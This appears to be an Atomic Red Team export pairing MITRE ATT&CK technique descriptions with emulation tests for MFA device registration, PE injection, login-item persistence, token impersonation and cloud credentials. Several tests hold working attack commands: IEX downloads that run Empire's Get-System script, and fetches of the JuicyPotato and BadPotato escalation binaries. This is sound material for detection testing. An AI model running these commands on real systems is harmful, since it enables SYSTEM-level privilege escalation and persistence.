C:\Users\Public\AtomicTest.dll -Force Remove-Item C:\Users\Public\AtomicTest.txt -Force name: powershell elevation_required: true T1098.005: technique: modified: '2023-10-03T17:38:39.065Z' name: Device Registration description: "Adversaries may register a device to an adversary-controlled account. Devices may be registered in a multifactor authentication (MFA) system, which handles authentication to the network, or in a device management system, which handles device access and compliance.\n\nMFA systems, such as Duo or Okta, allow users to associate devices with their accounts in order to complete MFA requirements. An adversary that compromises a user’s credentials may enroll a new device in order to bypass initial MFA requirements and gain persistent access to a network.(Citation: CISA MFA PrintNightmare)(Citation: DarkReading FireEye SolarWinds) In some cases, the MFA self-enrollment process may require only a username and password to enroll the account's first device or to enroll a device to an inactive account. (Citation: Mandiant APT29 Microsoft 365 2022)\n\nSimilarly, an adversary with existing access to a network may register a device to Azure AD and/or its device management system, Microsoft Intune, in order to access sensitive data or resources while bypassing conditional access policies.(Citation: AADInternals - Device Registration)(Citation: AADInternals - Conditional Access Bypass)(Citation: Microsoft DEV-0537) \n\nDevices registered in Azure AD may be able to conduct [Internal Spearphishing](https://attack.mitre.org/techniques/T1534) campaigns via intra-organizational emails, which are less likely to be treated as suspicious by the email client.(Citation: Microsoft - Device Registration) Additionally, an adversary may be able to perform a [Service Exhaustion Flood](https://attack.mitre.org/techniques/T1499/002) on an Azure AD tenant by registering a large number of devices.(Citation: AADInternals - BPRT)" kill_chain_phases: - kill_chain_name: mitre-attack phase_name: persistence - kill_chain_name: mitre-attack phase_name: privilege-escalation x_mitre_contributors: - Pawel Partyka, Microsoft 365 Defender - Mike Moran - Joe Gumke, U.S. Bank - Arad Inbar, Fidelis Security x_mitre_deprecated: false x_mitre_detection: '' x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Azure AD - Windows - SaaS x_mitre_version: '1.2' x_mitre_data_sources: - 'Application Log: Application Log Content' - 'Active Directory: Active Directory Object Creation' - 'User Account: User Account Modification' type: attack-pattern id: attack-pattern--7decb26c-715c-40cf-b7e0-026f7d7cc215 created: '2022-03-04T18:30:38.989Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1098/005 external_id: T1098.005 - source_name: CISA MFA PrintNightmare description: Cybersecurity and Infrastructure Security Agency. (2022, March 15). Russian State-Sponsored Cyber Actors Gain Network Access by Exploiting Default Multifactor Authentication Protocols and “PrintNightmare” Vulnerability. Retrieved March 16, 2022. url: https://www.cisa.gov/uscert/ncas/alerts/aa22-074a - source_name: Mandiant APT29 Microsoft 365 2022 description: 'Douglas Bienstock. (2022, August 18). You Can’t Audit Me: APT29 Continues Targeting Microsoft 365. Retrieved February 23, 2023.' url: https://www.mandiant.com/resources/blog/apt29-continues-targeting-microsoft - source_name: AADInternals - Conditional Access Bypass description: Dr. Nestori Syynimaa. (2020, September 6). Bypassing conditional access by faking device compliance. Retrieved March 4, 2022. url: https://o365blog.com/post/mdm - source_name: AADInternals - BPRT description: 'Dr. Nestori Syynimaa. (2021, January 31). BPRT unleashed: Joining multiple devices to Azure AD and Intune. Retrieved March 4, 2022.' url: https://o365blog.com/post/bprt/ - source_name: AADInternals - Device Registration description: Dr. Nestori Syynimaa. (2021, March 3). Deep-dive to Azure AD device join. Retrieved March 9, 2022. url: https://o365blog.com/post/devices/ - source_name: DarkReading FireEye SolarWinds description: 'Kelly Jackson Higgins. (2021, January 7). FireEye''s Mandia: ''Severity-Zero Alert'' Led to Discovery of SolarWinds Attack. Retrieved April 18, 2022.' url: https://www.darkreading.com/threat-intelligence/fireeye-s-mandia-severity-zero-alert-led-to-discovery-of-solarwinds-attack - source_name: Microsoft - Device Registration description: 'Microsoft 365 Defender Threat Intelligence Team. (2022, January 26). Evolved phishing: Device registration trick adds to phishers’ toolbox for victims without MFA. Retrieved March 4, 2022.' url: https://www.microsoft.com/security/blog/2022/01/26/evolved-phishing-device-registration-trick-adds-to-phishers-toolbox-for-victims-without-mfa - source_name: Microsoft DEV-0537 description: Microsoft. (2022, March 22). DEV-0537 criminal actor targeting organizations for data exfiltration and destruction. Retrieved March 23, 2022. url: https://www.microsoft.com/security/blog/2022/03/22/dev-0537-criminal-actor-targeting-organizations-for-data-exfiltration-and-destruction/ object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1055.002: technique: x_mitre_platforms: - Windows x_mitre_domains: - enterprise-attack object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--806a49c4-970d-43f9-9acc-ac0ee11e6662 type: attack-pattern created: '2020-01-14T01:27:31.344Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1055.002 url: https://attack.mitre.org/techniques/T1055/002 - url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process description: 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.' source_name: Elastic Process Injection July 2017 modified: '2022-04-25T14:00:00.188Z' name: 'Process Injection: Portable Executable Injection' description: "Adversaries may inject portable executables (PE) into processes in order to evade process-based defenses as well as possibly elevate privileges. PE injection is a method of executing arbitrary code in the address space of a separate live process. \n\nPE injection is commonly performed by copying code (perhaps without a file on disk) into the virtual address space of the target process before invoking it via a new thread. The write can be performed with native Windows API calls such as VirtualAllocEx and WriteProcessMemory, then invoked with CreateRemoteThread or additional code (ex: shellcode). The displacement of the injected code does introduce the additional requirement for functionality to remap memory references. (Citation: Elastic Process Injection July 2017) \n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via PE injection may also evade detection from security products since the execution is masked under a legitimate process. " kill_chain_phases: - kill_chain_name: mitre-attack phase_name: defense-evasion - kill_chain_name: mitre-attack phase_name: privilege-escalation x_mitre_detection: "Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as CreateRemoteThread and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Elastic Process Injection July 2017)\n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. " x_mitre_is_subtechnique: true x_mitre_version: '1.1' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_data_sources: - 'Process: Process Access' - 'Process: OS API Execution' - 'Process: Process Modification' x_mitre_defense_bypassed: - Anti-virus - Application control x_mitre_permissions_required: - User spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 identifier: T1055.002 atomic_tests: - name: Portable Executable Injection auto_generated_guid: 578025d5-faa9-4f6d-8390-aae739d503e1 description: This test injects a portable executable into a remote Notepad process memory using Portable Executable Injection and base-address relocation techniques. When successful, a message box will appear with the title "Warning" and the content "Atomic Red Team" after a few seconds. supported_platforms: - windows input_arguments: exe_binary: description: PE binary type: path default: PathToAtomicsFolder\T1055.002\bin\RedInjection.exe dependency_executor_name: powershell dependencies: - description: 'Portable Executable to inject must exist at specified location (#{exe_binary}) ' prereq_command: 'if (Test-Path "#{exe_binary}") {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory (split-path "#{exe_binary}") -ErrorAction ignore | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1055.002/bin/RedInjection.exe" -OutFile "#{exe_binary}" executor: command: |- Start-Process "#{exe_binary}" Start-Sleep -Seconds 7 Get-Process -Name Notepad -ErrorAction SilentlyContinue | Stop-Process -Force cleanup_command: Get-Process -Name Notepad -ErrorAction SilentlyContinue | Stop-Process -Force name: powershell elevation_required: true T1547.015: technique: x_mitre_platforms: - macOS x_mitre_domains: - enterprise-attack object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--84601337-6a55-4ad7-9c35-79e0d1ea2ab3 type: attack-pattern created: '2021-10-05T21:26:15.081Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1547.015 url: https://attack.mitre.org/techniques/T1547/015 - source_name: Open Login Items Apple url: https://support.apple.com/guide/mac-help/open-items-automatically-when-you-log-in-mh15189/mac description: Apple. (n.d.). Open items automatically when you log in on Mac. Retrieved October 1, 2021. - url: https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLoginItems.html description: Apple. (2016, September 13). Adding Login Items. Retrieved July 11, 2017. source_name: Adding Login Items - source_name: SMLoginItemSetEnabled Schroeder 2013 url: https://blog.timschroeder.net/2013/04/21/smloginitemsetenabled-demystified/ description: Tim Schroeder. (2013, April 21). SMLoginItemSetEnabled Demystified. Retrieved October 5, 2021. - source_name: Launch Services Apple Developer url: https://developer.apple.com/documentation/coreservices/launch_services description: Apple. (n.d.). Launch Services. Retrieved October 5, 2021. - source_name: ELC Running at startup url: https://eclecticlight.co/2018/05/22/running-at-startup-when-to-use-a-login-item-or-a-launchagent-launchdaemon/ description: 'hoakley. (2018, May 22). Running at startup: when to use a Login Item or a LaunchAgent/LaunchDaemon. Retrieved October 5, 2021.' - source_name: Login Items AE url: https://developer.apple.com/library/archive/samplecode/LoginItemsAE/Introduction/Intro.html#//apple_ref/doc/uid/DTS10003788 description: Apple. (n.d.). Login Items AE. Retrieved October 4, 2021. - source_name: Startup Items Eclectic url: https://eclecticlight.co/2021/09/16/how-to-run-an-app-or-tool-at-startup/ description: hoakley. (2021, September 16). How to run an app or tool at startup. Retrieved October 5, 2021. - source_name: hexed osx.dok analysis 2019 url: http://www.hexed.in/2019/07/osxdok-analysis.html description: fluffybunny. (2019, July 9). OSX.Dok Analysis. Retrieved October 4, 2021. - source_name: Add List Remove Login Items Apple Script url: https://gist.github.com/kaloprominat/6111584 description: 'kaloprominat. (2013, July 30). macos: manage add list remove login items apple script. Retrieved October 5, 2021.' - url: https://objective-see.com/blog/blog_0x25.html description: Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018. source_name: objsee mac malware 2017 - source_name: CheckPoint Dok url: https://blog.checkpoint.com/2017/04/27/osx-malware-catching-wants-read-https-traffic/ description: Ofer Caspi. (2017, May 4). OSX Malware is Catching Up, and it wants to Read Your HTTPS Traffic. Retrieved October 5, 2021. - source_name: objsee netwire backdoor 2019 url: https://objective-see.com/blog/blog_0x44.html description: Patrick Wardle. (2019, June 20). Burned by Fire(fox). Retrieved October 1, 2021. - source_name: objsee block blocking login items url: https://objective-see.com/blog/blog_0x31.html description: Patrick Wardle. (2018, July 23). Block Blocking Login Items. Retrieved October 1, 2021. - source_name: sentinelone macos persist Jun 2019 url: https://www.sentinelone.com/blog/how-malware-persists-on-macos/ description: Stokes, Phil. (2019, June 17). HOW MALWARE PERSISTS ON MACOS. Retrieved September 10, 2019. - source_name: Launch Service Keys Developer Apple url: https://developer.apple.com/library/archive/documentation/General/Reference/InfoPlistKeyReference/Articles/LaunchServicesKeys.html#//apple_ref/doc/uid/TP40009250-SW1 description: Apple. (2018, June 4). Launch Services Keys. Retrieved October 5, 2021. modified: '2022-04-25T14:00:00.188Z' name: 'Boot or Logon Autostart Execution: Login Items' description: |- Adversaries may add login items to execute upon user login to gain persistence or escalate privileges. Login items are applications, documents, folders, or server connections that are automatically launched when a user logs in.(Citation: Open Login Items Apple) Login items can be added via a shared file list or Service Management Framework.(Citation: Adding Login Items) Shared file list login items can be set using scripting languages such as [AppleScript](https://attack.mitre.org/techniques/T1059/002), whereas the Service Management Framework uses the API call SMLoginItemSetEnabled. Login items installed using the Service Management Framework leverage launchd, are not visible in the System Preferences, and can only be removed by the application that created them.(Citation: Adding Login Items)(Citation: SMLoginItemSetEnabled Schroeder 2013) Login items created using a shared file list are visible in System Preferences, can hide the application when it launches, and are executed through LaunchServices, not launchd, to open applications, documents, or URLs without using Finder.(Citation: Launch Services Apple Developer) Users and applications use login items to configure their user environment to launch commonly used services or applications, such as email, chat, and music applications. Adversaries can utilize [AppleScript](https://attack.mitre.org/techniques/T1059/002) and [Native API](https://attack.mitre.org/techniques/T1106) calls to create a login item to spawn malicious executables.(Citation: ELC Running at startup) Prior to version 10.5 on macOS, adversaries can add login items by using [AppleScript](https://attack.mitre.org/techniques/T1059/002) to send an Apple events to the “System Events” process, which has an AppleScript dictionary for manipulating login items.(Citation: Login Items AE) Adversaries can use a command such as tell application “System Events” to make login item at end with properties /path/to/executable.(Citation: Startup Items Eclectic)(Citation: hexed osx.dok analysis 2019)(Citation: Add List Remove Login Items Apple Script) This command adds the path of the malicious executable to the login item file list located in ~/Library/Application Support/com.apple.backgroundtaskmanagementagent/backgrounditems.btm.(Citation: Startup Items Eclectic) Adversaries can also use login items to launch executables that can be used to control the victim system remotely or as a means to gain privilege escalation by prompting for user credentials.(Citation: objsee mac malware 2017)(Citation: CheckPoint Dok)(Citation: objsee netwire backdoor 2019) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: persistence - kill_chain_name: mitre-attack phase_name: privilege-escalation x_mitre_detection: |- All login items created via shared file lists are viewable by using the System Preferences GUI or in the ~/Library/Application Support/com.apple.backgroundtaskmanagementagent/backgrounditems.btm file.(Citation: Open Login Items Apple)(Citation: Startup Items Eclectic)(Citation: objsee block blocking login items)(Citation: sentinelone macos persist Jun 2019) These locations should be monitored and audited for known good applications. Otherwise, login Items are located in Contents/Library/LoginItems within an application bundle, so these paths should be monitored as well.(Citation: Adding Login Items) Monitor applications that leverage login items with either the LSUIElement or LSBackgroundOnly key in the Info.plist file set to true.(Citation: Adding Login Items)(Citation: Launch Service Keys Developer Apple) Monitor processes that start at login for unusual or unknown applications. Usual applications for login items could include what users add to configure their user environment, such as email, chat, or music applications, or what administrators include for organization settings and protections. Check for running applications from login items that also have abnormal behavior,, such as establishing network connections. x_mitre_is_subtechnique: true x_mitre_version: '1.0' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_data_sources: - 'Process: Process Creation' - 'File: File Creation' - 'File: File Modification' x_mitre_permissions_required: - User spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 identifier: T1547.015 atomic_tests: - name: Persistence by modifying Windows Terminal profile auto_generated_guid: ec5d76ef-82fe-48da-b931-bdb25a62bc65 description: Modify Windows Terminal settings.json file to gain persistence. [Twitter Post](https://twitter.com/nas_bench/status/1550836225652686848) supported_platforms: - windows input_arguments: calculator: description: Test program used to imitate a maliciously called program. type: string default: calculator.exe settings_json_def: description: Default file for Windows Terminal to replace the default profile with a backdoor to call another program. type: path default: "~\\AppData\\Local\\Packages\\Microsoft.WindowsTerminal_8wekyb3d8bbwe\\LocalState\\settings.json" settings_json_tmp: description: Temp file for Windows Terminal. type: path default: "~\\AppData\\Local\\Temp\\settings.json" wt_exe: description: Windows Terminal executable. type: path default: "~\\AppData\\Local\\Microsoft\\WindowsApps\\Microsoft.WindowsTerminal_8wekyb3d8bbwe\\wt.exe" dependency_executor_name: powershell dependencies: - description: 'Windows Terminal must be installed ' prereq_command: 'if (Test-Path #{wt_exe}) {exit 0} else {exit 1} ' get_prereq_command: '$(rm ~\AppData\Local\Packages\Microsoft.DesktopAppInstaller_8wekyb3d8bbwe\LocalState\StoreEdgeFD\installed.db -ErrorAction Ignore; Write-Output ""; $?) -and $(winget install --id=Microsoft.WindowsTerminal) ' executor: command: | mv #{settings_json_def} #{settings_json_tmp} Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1547.015/src/settings.json?raw=true" -OutFile "#{settings_json_def}" wt.exe cleanup_command: | mv -Force #{settings_json_tmp} #{settings_json_def} taskkill /F /IM "#{calculator}" > $null name: powershell - name: Add macOS LoginItem using Applescript auto_generated_guid: 716e756a-607b-41f3-8204-b214baf37c1d description: | Runs osascript on a file to create new LoginItem for current user. NOTE: Will popup dialog prompting user to Allow or Deny Terminal.app to control "System Events" Therefore, it can't be automated until the TCC is granted. The login item launches Safari.app when user logs in, but there is a cleanup script to remove it as well. In addition to the `osascript` Process Events, file modification events to `/Users/*/Library/Application Support/com.apple.backgroundtaskmanagementagent/backgrounditems.btm` should be seen. supported_platforms: - macos input_arguments: scriptfile: description: path to Applescript source to add Safari LoginItem. type: string default: PathToAtomicsFolder/T1547.015/src/add_login_item.osa cleanup_script: description: path to Applescript source to delete Safari LoginItem. type: string default: PathToAtomicsFolder/T1547.015/src/remove_login_item.osa executor: command: 'osascript #{scriptfile} ' cleanup_command: 'osascript #{cleanup_script} ' name: bash T1134.001: technique: modified: '2024-01-10T17:57:36.177Z' name: 'Access Token Manipulation: Token Impersonation/Theft' description: |- Adversaries may duplicate then impersonate another user's existing token to escalate privileges and bypass access controls. For example, an adversary can duplicate an existing token using `DuplicateToken` or `DuplicateTokenEx`.(Citation: DuplicateToken function) The token can then be used with `ImpersonateLoggedOnUser` to allow the calling thread to impersonate a logged on user's security context, or with `SetThreadToken` to assign the impersonated token to a thread. An adversary may perform [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001) when they have a specific, existing process they want to assign the duplicated token to. For example, this may be useful for when the target user has a non-network logon session on the system. When an adversary would instead use a duplicated token to create a new process rather than attaching to an existing process, they can additionally [Create Process with Token](https://attack.mitre.org/techniques/T1134/002) using `CreateProcessWithTokenW` or `CreateProcessAsUserW`. [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001) is also distinct from [Make and Impersonate Token](https://attack.mitre.org/techniques/T1134/003) in that it refers to duplicating an existing token, rather than creating a new one. kill_chain_phases: - kill_chain_name: mitre-attack phase_name: defense-evasion - kill_chain_name: mitre-attack phase_name: privilege-escalation x_mitre_contributors: - Jonny Johnson x_mitre_deprecated: false x_mitre_detection: |- If an adversary is using a standard command-line shell, analysts can detect token manipulation by auditing command-line activity. Specifically, analysts should look for use of the runas command. Detailed command-line logging is not enabled by default in Windows.(Citation: Microsoft Command-line Logging) Analysts can also monitor for use of Windows APIs such as DuplicateToken(Ex), ImpersonateLoggedOnUser , and SetThreadToken and correlate activity with other suspicious behavior to reduce false positives that may be due to normal benign use by users and administrators. x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Windows x_mitre_version: '1.2' x_mitre_data_sources: - 'Command: Command Execution' - 'Process: OS API Execution' x_mitre_defense_bypassed: - Windows User Account Control - System access controls - File system access controls type: attack-pattern id: attack-pattern--86850eff-2729-40c3-b85e-c4af26da4a2d created: '2020-02-18T16:39:06.289Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1134/001 external_id: T1134.001 - source_name: Microsoft Command-line Logging description: Mathers, B. (2017, March 7). Command line process auditing. Retrieved April 21, 2017. url: https://technet.microsoft.com/en-us/windows-server-docs/identity/ad-ds/manage/component-updates/command-line-process-auditing - source_name: DuplicateToken function description: Microsoft. (2021, October 12). DuplicateToken function (securitybaseapi.h). Retrieved January 8, 2024. url: https://learn.microsoft.com/en-us/windows/win32/api/securitybaseapi/nf-securitybaseapi-duplicatetoken object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1134.001 atomic_tests: - name: Named pipe client impersonation auto_generated_guid: 90db9e27-8e7c-4c04-b602-a45927884966 description: |- Uses PowerShell and Empire's [GetSystem module](https://github.com/BC-SECURITY/Empire/blob/v3.4.0/data/module_source/privesc/Get-System.ps1). The script creates a named pipe, and a service that writes to that named pipe. When the service connects to the named pipe, the script impersonates its security context. When executed successfully, the test displays the domain and name of the account it's impersonating (local SYSTEM). Reference: https://blog.cobaltstrike.com/2014/04/02/what-happens-when-i-type-getsystem/ supported_platforms: - windows executor: command: | [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 IEX (IWR 'https://raw.githubusercontent.com/BC-SECURITY/Empire/f6efd5a963d424a1f983d884b637da868e5df466/data/module_source/privesc/Get-System.ps1' -UseBasicParsing); Get-System -Technique NamedPipe -Verbose name: powershell elevation_required: true - name: "`SeDebugPrivilege` token duplication" auto_generated_guid: 34f0a430-9d04-4d98-bcb5-1989f14719f0 description: |- Uses PowerShell and Empire's [GetSystem module](https://github.com/BC-SECURITY/Empire/blob/v3.4.0/data/module_source/privesc/Get-System.ps1). The script uses `SeDebugPrivilege` to obtain, duplicate and impersonate the token of a another process. When executed successfully, the test displays the domain and name of the account it's impersonating (local SYSTEM). supported_platforms: - windows executor: command: | [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 IEX (IWR 'https://raw.githubusercontent.com/BC-SECURITY/Empire/f6efd5a963d424a1f983d884b637da868e5df466/data/module_source/privesc/Get-System.ps1' -UseBasicParsing); Get-System -Technique Token -Verbose name: powershell elevation_required: true - name: Launch NSudo Executable auto_generated_guid: 7be1bc0f-d8e5-4345-9333-f5f67d742cb9 description: |- Launches the NSudo executable for a short period of time and then exits. NSudo download observed after maldoc execution. NSudo is a system management tool for advanced users to launch programs with full privileges. supported_platforms: - windows input_arguments: nsudo_path: description: Path to the NSudoLG.exe file type: path default: PathToAtomicsFolder\T1134.001\bin\NSudoLG.exe dependency_executor_name: powershell dependencies: - description: 'NSudoLG.exe must exist in the specified path #{nsudo_path} ' prereq_command: 'if (Test-Path "#{nsudo_path}") {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null Invoke-WebRequest -OutFile "PathToAtomicsFolder\..\ExternalPayloads\NSudo_8.2_All_Components.zip" "https://github.com/M2Team/NSudo/releases/download/8.2/NSudo_8.2_All_Components.zip" Expand-Archive -Path "PathToAtomicsFolder\..\ExternalPayloads\NSudo_8.2_All_Components.zip" -DestinationPath "PathToAtomicsFolder\..\ExternalPayloads\NSudo_8.2_All_Components" -Force Copy-Item "PathToAtomicsFolder\..\ExternalPayloads\NSudo_8.2_All_Components\NSudo Launcher\x64\NSudoLG.exe" "#{nsudo_path}" Remove-Item "PathToAtomicsFolder\..\ExternalPayloads\NSudo_8.2_All_Components.zip" -Recurse -ErrorAction Ignore Remove-Item "PathToAtomicsFolder\..\ExternalPayloads\NSudo_8.2_All_Components" -Recurse -ErrorAction Ignore executor: command: | Start-Process "#{nsudo_path}" -Argument "-U:T -P:E cmd" Start-Sleep -Second 5 Stop-Process -Name "cmd" -force -erroraction silentlycontinue name: powershell - name: Bad Potato auto_generated_guid: 9c6d799b-c111-4749-a42f-ec2f8cb51448 description: |- https://github.com/BeichenDream/BadPotato Privilege escalation using named pipe connections supported_platforms: - windows dependency_executor_name: powershell dependencies: - description: 'BadPotato.exe must exist in the temp directory ' prereq_command: 'if (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\BadPotato.exe") {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null Invoke-WebRequest -OutFile "PathToAtomicsFolder\..\ExternalPayloads\BadPotato.exe" "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1134.001/bin/BadPotato.exe?raw=true" executor: command: | cd "PathToAtomicsFolder\..\ExternalPayloads" Start-Process .\BadPotato.exe notepad.exe Start-Sleep -Second 20 Stop-Process -Name "notepad" -force -erroraction silentlycontinue Stop-Process -Name "BadPotato" -force -erroraction silentlycontinue cleanup_command: 'taskkill /f /im notepad.exe ' name: powershell elevation_required: true - name: Juicy Potato auto_generated_guid: f095e373-b936-4eb4-8d22-f47ccbfbe64a description: "This Atomic utilizes Juicy Potato to obtain privilege escalation. \nUpon successful execution of this test, a vulnerable CLSID will be used to execute a process with system permissions.\nThis tactic has been previously observed in SnapMC Ransomware, amongst numerous other campaigns. \n[Reference](https://blog.fox-it.com/2021/10/11/snapmc-skips-ransomware-steals-data/)" supported_platforms: - windows input_arguments: potato_path: description: Path to the JuicyPotato.exe file type: path default: PathToAtomicsFolder\..\ExternalPayloads\JuicyPotato.exe listening_port: description: COM server listen port type: integer default: 7777 target_exe: description: Target executable to launch with system privileges type: path default: "$env:windir\\system32\\notepad.exe" target_CLSID: description: Vulnerable CLSID to impersonate privileges type: string default: "{F7FD3FD6-9994-452D-8DA7-9A8FD87AEEF4}" dependency_executor_name: powershell dependencies: - description: 'JuicyPotato.exe must exist on disk ' prereq_command: 'if (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\JuicyPotato.exe") {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null Invoke-WebRequest -OutFile "PathToAtomicsFolder\..\ExternalPayloads\JuicyPotato.exe" "https://github.com/ohpe/juicy-potato/releases/download/v0.1/JuicyPotato.exe" executor: command: 'cmd /c ''#{potato_path}'' -l ''#{listening_port}'' -t * -p ''#{target_exe}'' -c ''#{target_CLSID}'' ' cleanup_command: | get-ciminstance Win32_Process | where-object { $_.Path -eq "#{target_exe}" } | invoke-cimmethod -methodname "terminate" | out-null get-ciminstance Win32_Process | where-object { $_.Path -eq "#{potato_path}" } | invoke-cimmethod -methodname "terminate" | out-null name: powershell elevation_required: true T1098.001: technique: modified: '2024-02-28T14:35:00.862Z' name: 'Account Manipulation: Additional Cloud Credentials' description: "Adversaries may add adversary-controlled credentials to a cloud account to maintain persistent access to victim accounts and instances within the environment.\n\nFor example, adversaries may add credentials for Service Principals and Applications in addition to existing legitimate credentials in Azure AD.(Citation: Microsoft SolarWinds Customer Guidance)(Citation: Blue Cloud of Death)(Citation: Blue Cloud of Death Video) These credentials include both x509 keys and passwords.(Citation: Microsoft SolarWinds Customer Guidance) With sufficient permissions, there are a variety of ways to add credentials including the Azure Portal, Azure command line interface, and Azure or Az PowerShell modules.(Citation: Demystifying Azure AD Service Principals)\n\nIn infrastructure-as-a-service (IaaS) environments, after gaining access through [Cloud Accounts](https://attack.mitre.org/techniques/T1078/004), adversaries may generate or import their own SSH keys using either the CreateKeyPair or ImportKeyPair API in AWS or the gcloud compute os-login ssh-keys add command in GCP.(Citation: GCP SSH Key Add) This allows persistent access to instances within the cloud environment without further usage of the compromised cloud accounts.(Citation: Expel IO Evil in AWS)(Citation: Expel Behind the Scenes)\n\nAdversaries may also use the CreateAccessKey API in AWS or the gcloud iam service-accounts keys create command in GCP to add access keys to an account. If the target account has different permissions from the requesting account, the adversary may also be able to escalate their privileges in the environment (i.e. [Cloud Accounts](https://attack.mitre.org/techniques/T1078/004)).(Citation: Rhino Security Labs AWS Privilege Escalation)(Citation: Sysdig ScarletEel 2.0) For example, in Azure AD environments, an adversary with the Application Administrator role can add a new set of credentials to their application's service principal. In doing so the adversary would be able to access the service principal’s roles and permissions, which may be different from those of the Application Administrator.(Citation: SpecterOps Azure Privilege Escalation) \n\nIn AWS environments, adversaries with the appropriate permissions may also use the `sts:GetFederationToken` API call to create a temporary set of credentials to [Forge Web Credentials](https://attack.mitre.org/techniques/T1606) tied to the permissions of the original user account. These temporary credentials may remain valid for the duration of their lifetime even if the original account’s API credentials are deactivated.\n(Citation: Crowdstrike AWS User Federation Persistence)" kill_chain_phases: - kill_chain_name: mitre-attack phase_name: persistence - kill_chain_name: mitre-attack phase_name: privilege-escalation x_mitre_contributors: - Expel - Oleg Kolesnikov, Securonix - Jannie Li, Microsoft Threat Intelligence Center (MSTIC) - Zur Ulianitzky, XM Cyber - Alex Soler, AttackIQ - Dylan Silva, AWS Security - Arad Inbar, Fidelis Security x_mitre_deprecated: false x_mitre_detection: |- Monitor Azure Activity Logs for Service Principal and Application modifications. Monitor for the usage of APIs that create or import SSH keys, particularly by unexpected users or accounts such as the root account. Monitor for use of credentials at unusual times or to unusual systems or services. This may also correlate with other suspicious activity. x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - IaaS - Azure AD - SaaS x_mitre_version: '2.7' x_mitre_data_sources: - 'User Account: User Account Modification' type: attack-pattern id: attack-pattern--8a2f40cf-8325-47f9-96e4-b1ca4c7389bd created: '2020-01-19T16:10:15.008Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1098/001 external_id: T1098.001 - source_name: Crowdstrike AWS User Federation Persistence description: " Vaishnav Murthy and Joel Eng. (2023, January 30). How Adversaries Can Persist with AWS User Federation. Retrieved March 10, 2023." url: https://www.crowdstrike.com/blog/how-adversaries-persist-with-aws-user-federation/ - source_name: Expel IO Evil in AWS description: A. Randazzo, B. Manahan and S. Lipton. (2020, April 28). Finding Evil in AWS. Retrieved June 25, 2020. url: https://expel.io/blog/finding-evil-in-aws/ - source_name: SpecterOps Azure Privilege Escalation description: Andy Robbins. (2021, October 12). Azure Privilege Escalation via Service Principal Abuse. Retrieved April 1, 2022. url: https://posts.specterops.io/azure-privilege-escalation-via-service-principal-abuse-210ae2be2a5 - source_name: Demystifying Azure AD Service Principals description: Bellavance, Ned. (2019, July 16). Demystifying Azure AD Service Principals. Retrieved January 19, 2020. url: https://nedinthecloud.com/2019/07/16/demystifying-azure-ad-service-principals/ - source_name: GCP SSH Key Add description: Google. (n.d.). gcloud 